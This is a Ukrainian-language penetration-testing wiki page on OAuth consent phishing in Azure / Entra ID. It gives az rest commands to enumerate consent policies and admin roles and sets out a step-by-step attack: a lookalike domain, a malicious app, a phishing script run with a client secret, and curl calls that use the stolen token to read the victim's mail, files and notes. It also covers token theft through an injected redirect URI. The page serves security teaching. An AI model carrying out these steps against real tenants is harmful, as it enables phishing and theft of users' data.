Az - OAuth Apps Phishing

Reading time: 8 minutes

OAuth App Phishing

Azure Applications налаштовані з дозволами, які вони зможуть використовувати, коли користувач надає згоду на застосунок (наприклад, для перерахування каталогу, доступу до файлів або виконання інших дій). Зверніть увагу, що застосунок буде діяти від імені користувача, тому навіть якщо застосунок може запитувати адміністративні дозволи, якщо користувач, що надає згоду, не має цих дозволів, застосунок не зможе виконувати адміністративні дії.

Дозволи на згоду застосунків

За замовчуванням будь-який користувач може надати згоду на застосунки, хоча це можна налаштувати так, щоб користувачі могли надавати згоду лише на застосунки від перевірених видавців для вибраних дозволів або навіть вилучити дозвіл для користувачів на надання згоди на застосунки.

Якщо користувачі не можуть надати згоду, адміністратори, такі як GA, Application Administrator або Cloud Application Administrator, можуть надати згоду на застосунки, які користувачі зможуть використовувати.

Більше того, якщо користувачі можуть надавати згоду лише на застосунки з низькоризиковими дозволами, ці дозволи за замовчуванням є openid, profile, email, User.Read та offline_access, хоча можливо додати більше до цього списку.

І якщо вони можуть надавати згоду на всі застосунки, вони можуть надавати згоду на всі застосунки.

2 Типи атак

• Unauthenticated: З зовнішнього облікового запису створіть застосунок з низькоризиковими дозволами User.Read та User.ReadBasic.All, наприклад, фішинг користувача, і ви зможете отримати доступ до інформації каталогу.
• Це вимагає, щоб фішинговий користувач був здатний приймати OAuth застосунки з зовнішнього орендаря.
• Якщо фішинговий користувач є адміністратором, який може надавати згоду на будь-який застосунок з будь-якими дозволами, застосунок також може запитувати привілейовані дозволи.
• Authenticated: Після компрометації принципала з достатніми привілеями, створіть застосунок всередині облікового запису та фішинг деякого привілейованого користувача, який може приймати привілейовані OAuth дозволи.
• У цьому випадку ви вже можете отримати доступ до інформації каталогу, тому дозвіл User.ReadBasic.All більше не є цікавим.
• Вам, ймовірно, цікаві дозволи, які вимагають надання згоди адміністратором, оскільки звичайний користувач не може надати жодних дозволів для OAuth застосунків, тому вам потрібно фішити лише тих користувачів (більше про те, які ролі/дозволи надають це право пізніше).

Користувачі можуть надавати згоду

Зверніть увагу, що вам потрібно виконати цю команду від користувача всередині орендаря, ви не можете знайти цю конфігурацію орендаря з зовнішнього. Наступна команда CLI може допомогти вам зрозуміти дозволи користувачів:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"

• Користувачі можуть давати згоду на всі додатки: Якщо всередині permissionGrantPoliciesAssigned ви можете знайти: ManagePermissionGrantsForSelf.microsoft-user-default-legacy, тоді користувачі можуть приймати будь-який додаток.
• Користувачі можуть давати згоду на додатки від перевірених видавців або вашої організації, але тільки на дозволи, які ви виберете: Якщо всередині permissionGrantPoliciesAssigned ви можете знайти: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team, тоді користувачі можуть приймати будь-який додаток.
• Вимкнути згоду користувача: Якщо всередині permissionGrantPoliciesAssigned ви можете знайти тільки: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat та ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team, тоді користувачі не можуть давати згоду.

Можна знайти значення кожної з коментованих політик у:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Адміністратори додатків

Перевірте користувачів, які вважаються адміністраторами додатків (можуть приймати нові додатки):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Огляд потоку атаки

Атака включає кілька етапів, націлених на загальну компанію. Ось як це може відбуватися:

1. Реєстрація домену та хостинг додатка: Зловмисник реєструє домен, що нагадує надійний сайт, наприклад, "safedomainlogin.com". Під цим доменом створюється піддомен (наприклад, "companyname.safedomainlogin.com") для хостингу додатка, призначеного для захоплення кодів авторизації та запиту токенів доступу.
2. Реєстрація додатка в Azure AD: Зловмисник потім реєструє багатокористувацький додаток у своєму Azure AD Tenant, називаючи його на честь цільової компанії, щоб виглядати легітимно. Вони налаштовують URL-адресу перенаправлення додатка, щоб вона вказувала на піддомен, що хостить шкідливий додаток.
3. Налаштування дозволів: Зловмисник налаштовує додаток з різними дозволами API (наприклад, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ці дозволи, після надання користувачем, дозволяють зловмиснику витягувати чутливу інформацію від імені користувача.
4. Розповсюдження шкідливих посилань: Зловмисник створює посилання, що містить ідентифікатор клієнта шкідливого додатка, і ділиться ним з цільовими користувачами, обманюючи їх на надання згоди.

Приклад атаки

1. Зареєструйте новий додаток. Він може бути лише для поточного каталогу, якщо ви використовуєте користувача з атакованого каталогу, або для будь-якого каталогу, якщо це зовнішня атака (як на наступному зображенні).
2. Також налаштуйте URL-адресу перенаправлення на очікувану URL-адресу, куди ви хочете отримати код для отримання токенів (http://localhost:8000/callback за замовчуванням).

2. Потім створіть секрет додатка:

3. Виберіть дозволи API (наприклад, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)

4. Виконайте веб-сторінку (azure_oauth_phishing_example), яка запитує дозволи:

# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"

5. Надішліть URL жертві
6. У цьому випадку http://localhost:8000
7. Жертви повинні прийняти запит:

7. Використовуйте токен доступу для отримання запитуваних дозволів:

export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Інші інструменти

• 365-Stealer: Перегляньте https://www.alteredsecurity.com/post/introduction-to-365-stealer, щоб дізнатися, як його налаштувати.
• O365-Attack-Toolkit

Пост-експлуатація

Фішинг Пост-експлуатація

Залежно від запитуваних дозволів, ви можете отримати доступ до різних даних орендаря (список користувачів, груп... або навіть змінити налаштування) та інформації користувача (файли, нотатки, електронні листи...). Потім ви можете використовувати ці дозволи для виконання цих дій.

Entra ID Додатки Адміністратор

Якщо вам вдалося якимось чином скомпрометувати Entra ID принципал, який може керувати Додатками в Entra ID, і є додатки, які використовуються користувачами орендаря. Адміністратор зможе змінити дозволи, які запитує додаток, і додати нову дозволену адресу перенаправлення для крадіжки токенів.

• Зверніть увагу, що можливо додати URI перенаправлення (немає потреби видаляти реальний) і потім надіслати HTTP посилання, використовуючи URI перенаправлення зловмисника, так що коли користувач слідує за посиланням, аутентифікація відбувається автоматично, і зловмисник отримує токен.
• Також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів від користувачів, але в цьому випадку користувачеві потрібно буде знову прийняти запит (навіть якщо він вже був увійшов).
• Щоб виконати цю атаку, зловмиснику НЕ ПОТРІБНО контролювати код додатка, оскільки він може просто надіслати посилання для входу в додаток користувачу з новою URL-адресою в параметрі redirect_uri.

Додаток Пост Експлуатація

Перегляньте розділи Додатків та Сервісних Принципалів на сторінці:

Az - EntraID Privesc

Посилання

• https://www.alteredsecurity.com/post/introduction-to-365-stealer
• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/